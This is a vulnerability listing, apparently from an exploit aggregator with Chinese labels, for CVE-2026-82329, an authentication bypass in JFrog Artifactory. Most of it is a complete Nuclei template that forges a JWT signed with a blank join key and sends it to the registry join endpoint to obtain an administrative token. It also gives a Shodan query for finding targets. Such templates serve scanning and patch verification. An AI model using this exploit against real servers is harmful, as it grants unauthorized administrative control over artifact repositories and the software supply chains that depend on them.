CVE-2026-82329: JFrog Artifactory Access Blank Join Key Authentication Bypass

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.

PoC代码[已公开]

id: CVE-2026-82329

info:
  name: JFrog Artifactory Access Blank Join Key Authentication Bypass
  author: johnk3r,pruva
  severity: critical
  description: |
    JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.
  impact: |
    Unauthenticated attackers can gain administrative privileges, leading to full system control.
  remediation: |
    Update to the latest version and ensure secure configuration.
  reference:
    - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes
    - https://www.pruva.dev/reproductions/REPRO-2026-00341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-82329
    epss-score: 0.07666
    epss-percentile: 0.94243
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"JFrog"
  tags: cve,cve2026,jfrog,auth-bypass,vkev,kev

variables:
  service_id: "jfrt@cve202682329nuclei{{rand_text_alpha(10)}}"
  node_id: "cve202682329node{{rand_text_alpha(10)}}"
  jwt_claims: '{"service_id":"{{service_id}}","node_id":"{{node_id}}","skip_node_registration":true,"iat":{{unix_time()}}000}'
  forged_jwt: '{{generate_jwt(jwt_claims,"HS256","                                ")}}'

http:
  - raw:
      - |
        POST /access/api/v1/registry/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        User-Agent: JFrogArtifactory/7.146.25
        Accept: */*
        Connection: close

        {{forged_jwt}}

    redirects: false
    max-redirects: 0

    matchers-condition: and

    matchers:
      - type: status
        status:
          - 201

      - type: word
        part: body
        words:
          - '"token"'
# digest: 4a0a00473045022004158bfece0a562bf9b13bce082e8e56440fc53e33cc5a3d192469a0056858860221009baf5b30f8fdba2aec3d13b56e80b452efbc85edce462ab9efb169ce68807a3f:922c64590222798bb761d5b6d8e72950